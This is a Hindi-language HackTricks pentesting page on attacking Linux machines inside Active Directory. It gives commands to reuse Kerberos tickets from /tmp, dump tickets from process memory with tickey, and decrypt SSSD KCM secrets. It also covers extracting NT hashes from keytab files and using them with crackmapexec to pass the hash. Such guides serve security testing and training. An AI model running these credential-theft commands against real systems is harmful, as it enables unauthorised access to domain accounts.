Linux Active Directory

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

एक लिनक्स मशीन भी एक Active Directory वातावरण के अंदर मौजूद हो सकती है।

एक AD में लिनक्स मशीन फाइलों के अंदर विभिन्न CCACHE टिकटों को स्टोर कर सकती है। ये टिकट किसी अन्य kerberos टिकट की तरह उपयोग और दुरुपयोग किए जा सकते हैं। इन टिकटों को पढ़ने के लिए, आपको टिकट का उपयोगकर्ता मालिक होना चाहिए या root होना चाहिए मशीन के अंदर।

Enumeration

लिनक्स से AD enumeration

यदि आपके पास लिनक्स (या Windows में bash) पर AD तक पहुंच है, तो आप AD को enumer करने के लिए https://github.com/lefayjey/linWinPwn का प्रयास कर सकते हैं।

आप लिनक्स से AD को enumer करने के लिए अन्य तरीकों के बारे में जानने के लिए निम्नलिखित पृष्ठ की भी जांच कर सकते हैं:

389, 636, 3268, 3269 - Pentesting LDAP

FreeIPA

FreeIPA एक ओपन-सोर्स वैकल्पिक है Microsoft Windows Active Directory के लिए, मुख्य रूप से Unix वातावरण के लिए। यह Active Directory के समान प्रबंधन के लिए एक पूर्ण LDAP directory को MIT Kerberos Key Distribution Center के साथ जोड़ता है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag Certificate System का उपयोग करते हुए, यह multi-factor प्रमाणीकरण का समर्थन करता है, जिसमें स्मार्टकार्ड शामिल हैं। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है। इसके बारे में अधिक जानें:

FreeIPA Pentesting

टिकटों के साथ खेलना

Pass The Ticket

इस पृष्ठ पर आप विभिन्न स्थान पाएंगे जहाँ आप एक लिनक्स होस्ट के अंदर kerberos टिकट पा सकते हैं, अगले पृष्ठ पर आप सीख सकते हैं कि इन CCache टिकटों के प्रारूपों को Kirbi (विंडोज़ में उपयोग करने के लिए आवश्यक प्रारूप) में कैसे परिवर्तित किया जाए और PTT हमले को कैसे किया जाए:

Pass the Ticket

/tmp से CCACHE टिकट पुन: उपयोग

CCACHE फ़ाइलें Kerberos क्रेडेंशियल्स को स्टोर करने के लिए बाइनरी प्रारूप हैं जो आमतौर पर /tmp में 600 अनुमतियों के साथ स्टोर की जाती हैं। इन फ़ाइलों की पहचान उनके नाम प्रारूप, krb5cc_%{uid}, द्वारा की जा सकती है, जो उपयोगकर्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, पर्यावरण चर KRB5CCNAME को इच्छित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन: उपयोग सक्षम हो सके।

प्रमाणीकरण के लिए उपयोग किए जा रहे वर्तमान टिकट को env | grep KRB5CCNAME के साथ सूचीबद्ध करें। प्रारूप पोर्टेबल है और टिकट को पर्यावरण चर सेट करके पुन: उपयोग किया जा सकता है export KRB5CCNAME=/tmp/ticket.ccache के साथ। Kerberos टिकट नाम प्रारूप krb5cc_%{uid} है जहाँ uid उपयोगकर्ता UID है।

bash
# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000

# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000

CCACHE टिकट पुन: उपयोग कीजिए कीरिंग से

एक प्रक्रिया की मेमोरी में संग्रहीत Kerberos टिकट निकाले जा सकते हैं, विशेष रूप से जब मशीन की ptrace सुरक्षा बंद हो (/proc/sys/kernel/yama/ptrace_scope)। इस उद्देश्य के लिए एक उपयोगी उपकरण https://github.com/TarlogicSecurity/tickey पर पाया जा सकता है, जो सत्रों में इंजेक्ट करके और /tmp में टिकटों को डंप करके निकासी को सुविधाजनक बनाता है।

इस उपकरण को कॉन्फ़िगर और उपयोग करने के लिए, नीचे दिए गए चरणों का पालन किया जाता है:

bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i

यह प्रक्रिया विभिन्न सत्रों में इंजेक्ट करने का प्रयास करेगी, सफलता को /tmp में __krb_UID.ccache नामकरण सम्मेलन के साथ निकाले गए टिकटों को संग्रहीत करके इंगित करेगी।

CCACHE टिकट पुन: उपयोग SSSD KCM से

SSSD /var/lib/sss/secrets/secrets.ldb पथ पर डेटाबेस की एक प्रति बनाए रखता है। संबंधित कुंजी /var/lib/sss/secrets/.secrets.mkey पथ पर एक छिपी हुई फ़ाइल के रूप में संग्रहीत होती है। डिफ़ॉल्ट रूप से, कुंजी केवल तब पढ़ी जा सकती है जब आपके पास root अनुमतियाँ हों।

**SSSDKCMExtractor ** को --database और --key पैरामीटर के साथ बुलाने से डेटाबेस को पार्स किया जाएगा और गुप्त को डिक्रिप्ट किया जाएगा।

bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

क्रेडेंशियल कैश कर्बेरोस ब्लॉब को एक उपयोगी कर्बेरोस CCACHE फ़ाइल में परिवर्तित किया जा सकता है जिसे Mimikatz/Rubeus को पास किया जा सकता है।

CCACHE टिकट पुन: उपयोग कीजिए कीटैब से

bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

/etc/krb5.keytab से खाते निकालें

सेवा खाता कुंजी, जो रूट विशेषाधिकारों के साथ काम करने वाली सेवाओं के लिए आवश्यक हैं, सुरक्षित रूप से /etc/krb5.keytab फ़ाइलों में संग्रहीत होती हैं। ये कुंजी, सेवाओं के लिए पासवर्ड के समान, कड़ी गोपनीयता की मांग करती हैं।

कीटैब फ़ाइल की सामग्री की जांच करने के लिए, klist का उपयोग किया जा सकता है। यह उपकरण कुंजी विवरण प्रदर्शित करने के लिए डिज़ाइन किया गया है, जिसमें उपयोगकर्ता प्रमाणीकरण के लिए NT Hash शामिल है, विशेष रूप से जब कुंजी प्रकार को 23 के रूप में पहचाना जाता है।

bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

Linux उपयोगकर्ताओं के लिए, KeyTabExtract RC4 HMAC हैश निकालने की कार्यक्षमता प्रदान करता है, जिसे NTLM हैश पुन: उपयोग के लिए उपयोग किया जा सकता है।

bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability

macOS पर, bifrost कुंजीपट फ़ाइल विश्लेषण के लिए एक उपकरण के रूप में कार्य करता है।

bash
./bifrost -action dump -source keytab -path /path/to/your/file

निकाली गई खाता और हैश जानकारी का उपयोग करते हुए, crackmapexec जैसे उपकरणों का उपयोग करके सर्वरों से कनेक्शन स्थापित किए जा सकते हैं।

bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें